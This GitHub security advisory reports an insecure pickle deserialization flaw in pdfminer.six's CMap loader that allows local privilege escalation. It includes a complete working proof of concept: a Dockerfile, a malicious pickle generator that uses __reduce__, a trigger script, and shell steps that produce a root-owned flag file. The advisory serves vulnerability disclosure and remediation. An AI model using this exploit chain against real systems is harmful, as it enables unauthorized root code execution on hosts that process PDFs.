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Insecure Deserialization (pickle) in pdfminer.six CMap Loader — Local Privesc

High severity GitHub Reviewed Published Nov 7, 2025 in pdfminer/pdfminer.six • Updated Nov 15, 2025

Package

pip pdfminer.six (pip)

Affected versions

<= 20251107

Patched versions

None

Description

🚀 Overview

This report demonstrates a real-world privilege escalation vulnerability in pdfminer.six due to unsafe usage of Python's pickle module for CMap file loading.
It shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.

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🚨 Special Note

This advisory addresses a distinct vulnerability from GHSA-wf5f-4jwr-ppcp (CVE-2025-64512).

While the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit b808ee05dd7f0c8ea8ec34bdf394d40e63501086 does not address the vulnerability reported here.

Based on testing performed against the latest version of the library (comparison view), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The Dockerfile is hence modified to run test against this claim.

This demonstrates that the patch for CVE-2025-64512 is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on pickle

📚 Table of Contents


🔍 Background

pdfminer.six is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's pickle module.

🐍 Security Issue:
If the CMap search path (CMAP_PATH or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious .pickle.gz file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.


🐍 Vulnerability Description

  • Component: pdfminer.six CMap loading (pdfminer/cmapdb.py)
  • Issue: Loads and deserializes .pickle.gz files using Python’s pickle module, which is unsafe for untrusted data.
  • Exploitability: If a low-privileged user can write to any directory in CMAP_PATH, they can execute code as the user running pdfminer—potentially root or a privileged service.
  • Impact: Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.

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🎭 Demo Scenario

Environment:

  • 🐧 Alpine Linux (Docker container)
  • 👨‍💻 Two users:
    • user1 (attacker: low-privilege)
    • root (victim: runs privileged PDF-processing script)
  • 🗂️ Shared writable directory: /tmp/uploads
  • 🛣️ CMAP_PATH set to /tmp/uploads for the privileged script
  • 📦 pdfminer.six installed system-wide

Attack Flow:

  1. 🕵️‍♂️ user1 creates a malicious CMap file (Evil.pickle.gz) in /tmp/uploads.
  2. 👑 The privileged service (root) processes a PDF or calls get_cmap("Evil").
  3. 💣 The malicious pickle is deserialized, running arbitrary code as root.
  4. 🎯 The exploit creates a flag file in /root/pwnedByPdfminer as proof.

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🧨 Technical Details

  • Vulnerability Type: Insecure deserialization of untrusted data using Python's pickle
  • Attack Prerequisites: Attacker can write to a directory included in CMAP_PATH
  • Vulnerable Line:
    return type(str(name), (), pickle.loads(gzfile.read()))
    In pdfminer/cmapdb.py's _load_data method
  • https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246
  • Proof of Concept: See createEvilPickle.py, evilmod.py, and processPdf.py

Exploit Chain:

  • Attacker places a malicious .pickle.gz file in the CMap search path.
  • Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.
  • Arbitrary code executes with the privilege of the process (root/service account).

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🔧 Setup and Usage

📁 Files

</> Dockerfile

FROM python:3.11-alpine

ARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086

# Install git and build tooling
RUN apk add --no-cache git build-base

WORKDIR /opt

# Clone pdfminer.six and check out the specific commit, then install from source
RUN git clone https://github.com/pdfminer/pdfminer.six.git && \
    cd pdfminer.six && \
    git fetch --all && \
    git checkout ${PM_COMMIT} && \
    pip install --no-cache-dir -e .

# App working directory for PoC
WORKDIR /app

# Create low-privilege user and uploads dir
RUN adduser -D user1 && \
    mkdir -p /tmp/uploads && \
    chown user1:user1 /tmp/uploads && \
    chmod 1777 /tmp/uploads

# Copy PoC files
COPY evilmod.py /app/evilmod.py
COPY createEvilPickle.py /app/createEvilPickle.py
COPY processPDF.py /app/processPDF.py

ENV CMAP_PATH=/tmp/uploads
ENV PYTHONUNBUFFERED=1

# Keep the container running in background so you can exec into it anytime.
CMD ["tail", "-f", "/dev/null"]

</> evilmod.py

import os

def evilFunc():
    with open("/root/pwnedByPdfminer", "w") as f:
        f.write("ROOTED by pdfminer pickle RCE\n")
    return {"CODE2CID": {}, "IS_VERTICAL": False}

</> createEvilPickle.py

import pickle
import gzip
from evilmod import evilFunc

class Evil:
    def __reduce__(self):
        return (evilFunc, ())

payload = pickle.dumps(Evil())
with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f:
    f.write(payload)

print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz")

</> processPDF.py

import os
from pdfminer.cmapdb import CMapDB

os.environ["CMAP_PATH"] = "/tmp/uploads"

CMapDB.get_cmap("Evil")

print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.")

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1️⃣ Build and start the demo container

docker build -t pdfminer-priv-esc-demo .
docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ

2️⃣ In the container, open two shells in parallel (or switch users in one):

🕵️‍♂️ Shell 1 (Attacker: user1)

su user1
cd /app
python createEvilPickle.py
# ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1

👑 Shell 2 (Victim: root)

cd /app
python processPdf.py
# 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created

3️⃣ Proof of escalation

cat /root/pwnedByPdfminer
# 🏴 Output: ROOTED by pdfminer pickle RCE

proof-of-exploit

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📝 Step-by-step Walkthrough

  1. user1 uses createEvilPickle.py to craft and place a malicious CMap pickle in a shared upload directory.
  2. The root user runs a typical PDF-processing script, which loads CMap files from that directory.
  3. The exploit triggers, running arbitrary code as root.
  4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).

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🛡️ Security Standards & References

References

@pietermarsman pietermarsman published to pdfminer/pdfminer.six Nov 7, 2025
Published to the GitHub Advisory Database Nov 7, 2025
Reviewed Nov 7, 2025
Last updated Nov 15, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid. Learn more on MITRE.

Improperly Controlled Modification of Dynamically-Determined Object Attributes

The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-f83h-ghpp-7wcc

Source code

Credits

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